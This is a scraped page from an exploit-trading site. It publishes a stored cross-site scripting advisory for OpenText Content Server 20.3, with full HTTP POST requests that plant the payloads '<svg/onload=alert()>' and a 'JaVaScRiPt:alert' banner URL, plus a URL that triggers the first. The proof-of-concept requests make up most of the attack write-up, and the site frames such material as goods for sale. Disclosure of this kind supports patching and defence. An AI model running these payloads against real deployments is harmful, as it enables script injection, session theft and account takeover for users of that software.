0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
OpenText Content Server 20.3 - multiple Stored Cross-Site Scripting Vulnerabilities
[# Exploit Title: OpenText Content Server 20.3 - 'multiple' Stored Cross-Site Scripting # Exploit Author: Kamil Breński # Vendor Homepage: https://www.opentext.com/ # Software Link: https://www.opentext.com/products-and-solutions/products/enterprise-content-management/content-management # Version: 20.3 ========================================================================================== 1.) Document version XSS ========================================================================================== A user with permissions to create new document versions could create a malicious stored cross-site scripting payload. The description value would be reflected by the server without proper sanitization resulting in a stored XSS vulnerability. ------------------------------------------------------------------------------------------ POST /otcs/cs.exe HTTP/1.1 Host: redacted User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=--------------------------20043647051137266192675354452 Content-Length: 2071 Origin: https://redacted Connection: close [snipped] -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="func" doc.addversion2 -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="nodeID" 1125007 [snipped] -----------------------------20043647051137266192675354452 Content-Disposition: form-data; name="comment" <svg/onload=alert()> -----------------------------20043647051137266192675354452 [snipped] ------------------------------------------------------------------------------------------ Next a user which visits the version site will execute the malicious javascript. An example URL will look like the following: ------------------------------------------------------------------------------------------ https://redacted/otcs/cs.exe?func=ll&objId=1125007&objAction=versions&nexturl=%2Fotcs%2Fcs%2Eexe%3Ffunc%3Dll%26objid%3D1121694%26objAction%3Dbrowse%26sort%3Dname ------------------------------------------------------------------------------------------ ========================================================================================== 2.) Project Banner XSS ========================================================================================== A project banner could be crafter in such a way that clicking it would result in the execution of user defined javascript. The application did not validate the scheme used by the user supplied URL and it could be set to "javascript://". The request which saved the payload on the server look like the following: ------------------------------------------------------------------------------------------ POST /otcs/cs.exe HTTP/1.1 Host: redacted User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 479 Origin: redacted Connection: close[snipped] func=ll&objAction=ConfigLookFeel&objId=1120281¤ttab=2&tab=1&roleid=0&newroleid=0&IMG1_ID=1129727&IMG1_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG1_ALT=THISBANNERWILLEXECUTEJAVASCRIPT&IMG1_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29&IMG2_ID=1129727&IMG2_PathSaved=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_Path=STM.K.Brenski%40redacted+Home%3Aimgx.svg&IMG2_ALT=THISONETOO&IMG2_URL=JaVaScRiPt%3Aalert%28%27XSS%27%29 ------------------------------------------------------------------------------------------ Next a user would have to browse to the project page and click on the project banner. ========================================================================================== # 0day.today [2024-11-15] #